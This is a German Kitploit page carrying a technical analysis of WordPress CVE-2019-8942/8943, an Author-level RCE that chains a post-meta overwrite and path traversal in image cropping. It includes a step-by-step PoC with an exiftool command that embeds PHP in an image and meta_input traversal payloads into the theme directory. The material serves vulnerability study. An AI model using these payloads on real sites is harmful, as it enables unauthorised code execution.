Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-8942 — Detaillierte technische Analyse und Proof-of-Concept-Exploit für WordPress RCE-Schwachstellen CVE-2019-8942 und CVE-2019-8943, die LFI-zu-RCE über Path-Traversal und Bild-Upload-Manipulation demonstriert. | Kitploit
Tools/GitHubGitHub/tuannq2299/cve-2019-8942
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubtuannq2299/cve-2019-8942

CVE-2019-8942

Detaillierte technische Analyse und Proof-of-Concept-Exploit für WordPress RCE-Schwachstellen CVE-2019-8942 und CVE-2019-8943, die LFI-zu-RCE über Path-Traversal und Bild-Upload-Manipulation demonstriert.

Repository anzeigen
13vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-8942 und CVE-2019-8943: WordPress RCE (Author-Berechtigung)

Überblick

CVE-2019-8942 ist eine Schwachstelle, die einen LFI-Fehler in Kombination mit der Datei-Upload-Funktion ausnutzt, um RCE auf einem WordPress-Webserver mit Author-Rechten durchzuführen. Betroffene WordPress-Versionen umfassen vor 4.9.9 und 5.x vor 5.0.1. Sie ermöglicht die Remote-Code-Ausführung, da der Wert wp_attached_file der Post-Meta in einen beliebigen String geändert werden kann, z. B. einen String wie: .jpg?file.php. Ein Angreifer mit Author-Rechten kann beliebigen Code ausführen, indem er Bilddateien mit schädlichem PHP-Code in den Exif-Metadaten hochlädt. Die Ausnutzung kann CVE-2019-8943 nutzen.

Bei CVE-2019-8943 weist WordPress bis Version 5.0.3 eine Path-Traversal-Schwachstelle in der Methode wp_crop_image() auf. Ein Angreifer mit Berechtigung zur Bildzuschneidefunktion (Author) kann Bilddateien in beliebige Verzeichnisse schreiben, basierend auf einem Dateinamen mit zwei Erweiterungen wie .jpg?/../../file.jpg.

Ausnutzungsbedingungen

  • Web-App verwendet WordPress in Version <= 4.9.8 oder 5.0.0.
  • Benutzerkonto mit author-Berechtigung.

Detaillierte Analyse

Die Hauptursache, die es einem Benutzer ermöglicht, RCE durchzuführen, liegt im Fehler, dass Post-Meta überschrieben werden kann.

Metadaten können als Daten verstanden werden, die Daten beschreiben. In diesem speziellen Fall sind Metadaten Blog-Informationen wie Titel, Veröffentlichungsdatum, Autorname usw.

Im Quellcode von WordPress Version 4.9.8 wird beim Aktualisieren eines Bildes die Funktion edit_post() aufgerufen. Bemerkenswert ist, dass diese Funktion direkt mit dem $_POST-Array arbeitet. wp_update_post verwendet $post_data direkt als Parameter, ohne die erlaubten bearbeitbaren Datenfelder zu überprüfen.

root@kitploit:~
function edit_post( $post_data = null ) {
	global $wpdb;
	if ( empty($post_data) )
		$post_data = &$_POST;
...
	if ( isset($post_data['meta']) && $post_data['meta'] ) {
		foreach ( $post_data['meta'] as $key => $value ) {
			if ( !$meta = get_post_meta_by_id( $key ) )
				continue;
			if ( $meta->post_id != $post_ID )
				continue;
			if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
				continue;
			if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
				continue;
			update_meta( $key, $value['key'], $value['value'] );
		}
	}
...
	update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
	$success = wp_update_post( $post_data );
	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
		$fields = array( 'post_title', 'post_content', 'post_excerpt' );
		foreach ( $fields as $field ) {
			if ( isset( $post_data[ $field ] ) ) {
				$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
			}
		}
		wp_update_post( $post_data );
	}

wp-admin/includes/post.php

Ein Benutzer mit Post-Berechtigung kann die Post-Meta-Werte überschreiben. Konkret kann ein Angreifer den Metadatenwert _wp_attached_file ändern. Dies ändert den Dateinamen nicht, sondern nur die Datei, mit der WordPress bei der Bearbeitung arbeitet. Dies führt zur Path-Traversal-Ausnutzung.

wp_postmeta vor der Ausnutzung

Man sieht, dass die hochgeladene Datei das Format YYYY/MM/name.jpg hat. WordPress speichert die Datei im Verzeichnis YYYY/MM/. Dies lässt an eine Path-Traversal-Ausnutzung denken.

In der Funktion wp_crop_image() prüft WordPress, wenn ein Author-Benutzer ein Bild zuschneidet, ob das Bild auf zwei Arten existiert. Zuerst sucht es nach dem Bild basierend auf _wp_attached_file im Verzeichnis wp-content/uploads.

root@kitploit:~
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID
		$src_file = get_attached_file( $src );
		if ( ! file_exists( $src_file ) ) {
			// If the file doesn't exist, attempt a URL fopen on the src link.
			// This can occur with certain file replication plugins.
			$src = _load_image_to_edit_path( $src, 'full' );
		} else {
			$src = $src_file;
		}
	}

	$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
	$file = get_post_meta( $attachment_id, '_wp_attached_file', true );

wp-admin/includes/image.php

Wenn die erste Methode fehlschlägt, lädt WordPress das Bild von seinem eigenen Server herunter, indem es eine URL mit dem Pfad zum Verzeichnis wp-content/uploads und dem Dateinamen aus _wp_attached_file generiert. Der Download wird versucht, anstatt das Bild lokal zu verwenden, weil in manchen Fällen Plugins beim Senden dieser URL ein Bild generieren.

Nach erfolgreichem Herunterladen des Bildes über wp_get_image_editor() wird das Zuschneiden durchgeführt. Das zugeschnittene Bild wird dann im Dateisystem gespeichert. Der Dateiname ist der Wert der Variablen $src, die von get_post_meta() zurückgegeben wird und unter der Kontrolle des Angreifers steht. WordPress erstellt ein Verzeichnis mit wp_mkdir_p() (Zeile 9) und speichert das Bild dort mit save(). Man sieht, dass save() keine Path-Traversal-Prüfung durchführt.

root@kitploit:~
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
	return $src;

if ( ! $dst_file )
	$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );

wp_mkdir_p( dirname( $dst_file ) );

$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );

$result = $editor->save( $dst_file );

Die Verwendung eines Payloads in _wp_attached_file mit Zeichen wie #/../../ würde bei Methode 1 (lokales Laden) keinen solchen Pfad existieren, daher führt WordPress Methode 2 aus: Generieren einer URL zum Herunterladen des Bildes. Dabei sieht der Pfad so aus: http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg. Da es sich um eine URL handelt, werden Zeichen nach # (Fragment) ignoriert. Der gefundene Dateiname ist name.jpg#/name.jpg, wobei name.jpg# ein Verzeichnis und ein gültiger Name ist. Als nächstes wird ein Payload wie /name.jpg#/../../name.jpg verwendet, um eine Path-Traversal-Ausnutzung durchzuführen.

Man sieht, dass Felder wie _wp_attach_file und _wp_page_template geändert wurden.

Path Traversal zu RCE Jede WordPress-Seite verwendet ein Theme und hat einen Ordner /wp-content/themes/theme_name/ mit Template-Dateien. In einigen Fällen ist es möglich, ein Theme für einen Beitrag auszuwählen. Der Benutzer muss lediglich _wp_page_template in der Post-Meta-Tabelle auf den gewünschten Dateinamen setzen. Dies ist jedoch nur für Dateien im Theme-Verzeichnis wirksam. Normalerweise kann auf dieses Verzeichnis nicht zugegriffen und keine Dateien hochgeladen werden. Aber wir können die Path-Traversal-Ausnutzung nutzen, um Dateien in dieses Verzeichnis zu schreiben. Ein Angreifer mit Author-Rechten erstellt einen Beitrag und überschreibt den Parameter _wp_page_template mit dem Bilddateinamen. Die Bilddatei wird mit schädlichem PHP-Code versehen. Wenn das Bild geladen wird, wird der PHP-Code ausgeführt -> RCE.

Demo PoC

Schritt 1: Verwende wpscan, um das Theme der Website zu identifizieren => twentyseventeen

Schritt 2: Füge mit dem Tool Exiftool schädlichen PHP-Code in das Bild ein. exiftool demo.jpg -documentname="<?php phpinfo();?>"

Schritt 3: Melde dich im Admin-Bereich der Site mit einem Author-Konto an, gehe zu Medien -> Neu hinzufügen -> Bild hochladen.

Schritt 4: Rufe das Bild auf. Klicke auf Edit more details

Schritt 5: Klicke auf Update und fange die Anfrage mit Burpsuite ab -> Sende an Repeater

Schritt 6: Klicke auf Edit image, schneide das Bild zu und klicke auf Save. Fange die Anfrage zum Speichern des Bildes ab und sende sie an Repeater.

Schritt 7: Verwende die Anfrage aus Schritt 5, füge den Parameter &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file hinzu. Diese Anfrage bereitet das Erstellen des Ordners file.jpg# und das Kopieren der Datei file in diesen Ordner vor.

Schritt 8: Sende die Anfrage aus Schritt 6, um das Bild zu speichern. Der Ordner file.jpg# wurde erstellt und das Bild im Ordner YYYY/MM/file.jpg# gespeichert.

Schritt 9: Analog zu Schritt 7, verwende die Anfrage aus Schritt 5, füge den Parameter &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file hinzu. Da die Verzeichnisstruktur von WordPress und der Theme-Name bekannt sind, kann ein solcher Payload erstellt werden.

Schritt 10: Sende die Anfrage aus Schritt 6, um das Bild zu speichern. Das Bild wird unter dem neuen Pfad gespeichert.

Schritt 11: Gehe zu Beiträge -> Neuen Beitrag hinzufügen. Klicke auf Veröffentlichen. Fange die Anfrage ab und sende sie an Repeater.

Schritt 12: Verwende die Anfrage aus Schritt 11, füge den Parameter &meta_input[_wp_page_template]=cropped image hinzu, wobei cropped image der Dateiname des Bildes aus Schritt 10 ist.

Schritt 13: Rufe den Beitrag auf und sehe, dass der schädliche Code im Bild ausgeführt wird.

Verwendete Payloads mit 3 Anfragen:

root@kitploit:~
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>

Referenzen

  • https://github.com/brianwrf/WordPress_4.9.8_RCE_POC
  • https://viblo.asia/p/phan-tich-cve-2019-8942-cua-wordpress-bWrZnVrYZxw
  • https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips
  • https://pentest-tools.com/blog/wordpress-remote-code-execution-exploit-cve-2019-8942
Tool herunterladen